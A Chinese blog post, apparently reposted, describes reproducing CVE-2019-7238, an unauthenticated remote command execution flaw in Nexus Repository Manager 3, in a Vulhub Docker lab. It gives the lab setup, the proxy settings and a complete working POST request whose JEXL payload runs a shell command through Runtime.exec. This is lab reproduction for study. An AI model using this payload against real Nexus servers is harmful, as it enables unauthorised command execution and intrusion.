您的位置:首页 > 其它

利用Vulnhub复现漏洞 - Nexus Repository Manager 3 远程命令执行漏洞(CVE-2019-7238)

2019-07-12 16:55 1881 查看

Nexus Repository Manager 3 远程命令执行漏洞(CVE-2019-7238)

  • 复现过程
  • 发送请求
  • Vulnhub官方复现教程

    https://vulhub.org/#/environments/nexus/CVE-2019-7238/

    漏洞原理

    Nexus Repository Manager 3 是一款软件仓库,可以用来存储和分发Maven、NuGET等软件源仓库。其3.14.0及之前版本中,存在一处基于OrientDB自定义函数的任意JEXL表达式执行功能,而这处功能存在未授权访问漏洞,将可以导致任意命令执行漏洞。

    参考链接:

    复现过程

    启动环境

    https://blog.csdn.net/JiangBuLiu/article/details/93853056
    进入路径为

    cd /root/vulhub/nexus/CVE-2019-7238

    搭建及运行漏洞环境:

    docker-compose build && docker-compose up -d

    用时:3分钟
    环境启动后,访问

    http://your-ip:8081
    即可看到Web页面。

    使用账号密码

    admin:admin123
    登录后台,在
    http://192.168.236.148:8081/#browse/upload
    选择
    maven-releases
    ,随便上传一个jar包:

    显示

    触发该漏洞,必须保证仓库里至少有一个包存在。

    漏洞复现

    接口没有校验权限,所以直接发送如下数据包,即可执行

    touch /tmp/CVE-2019-7238_is_success
    命令:

    端口设置

    浏览器设置

    以火狐浏览器FireFox为例,在

    选项
    常规
    网络设置
    设置
    ,将
    连接
    手动代理配置
    HTTP代理
    ,填写
    127.0.0.1
    ,端口为
    8081

    BurpSuit设置

    Proxy
    Options
    Proxy Listeners
    编辑监听端口为
    8081


    并将
    Proxy
    Intercept
    点击成
    Intercept is on

    发送请求

    POST /service/extdirect HTTP/1.1
    Host: localhost
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:63.0) Gecko/20100101 Firefox/63.0
    Accept: */*
    Content-Type: application/json
    X-Requested-With: XMLHttpRequest
    Content-Length: 368
    Connection: close
    
    {"action":"coreui_Component","method":"previewAssets","data":[{"page":1,"start":0,"limit":50,"sort":[{"property":"name","direction":"ASC"}],"filter":
    [{"property":"repositoryName","value":"*"},{"property":"expression","value":"233.class.forName('java.lang.Runtime').getRuntime().exec('touch /tmp/CVE-2019-7238_is_success')"},{"property":"type","value":"jexl"}]}],"type":"rpc","tid":8}

    updatedb && locate CVE-2019-7238_is_success

    可见,

    /tmp/CVE-2019-7238_is_success
    已成功执行:

    原理是expression位置的JEXL表达式被执行,详情可阅读参考文档。

    利用classloader加载字节码即可获得回显:

    内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
    标签: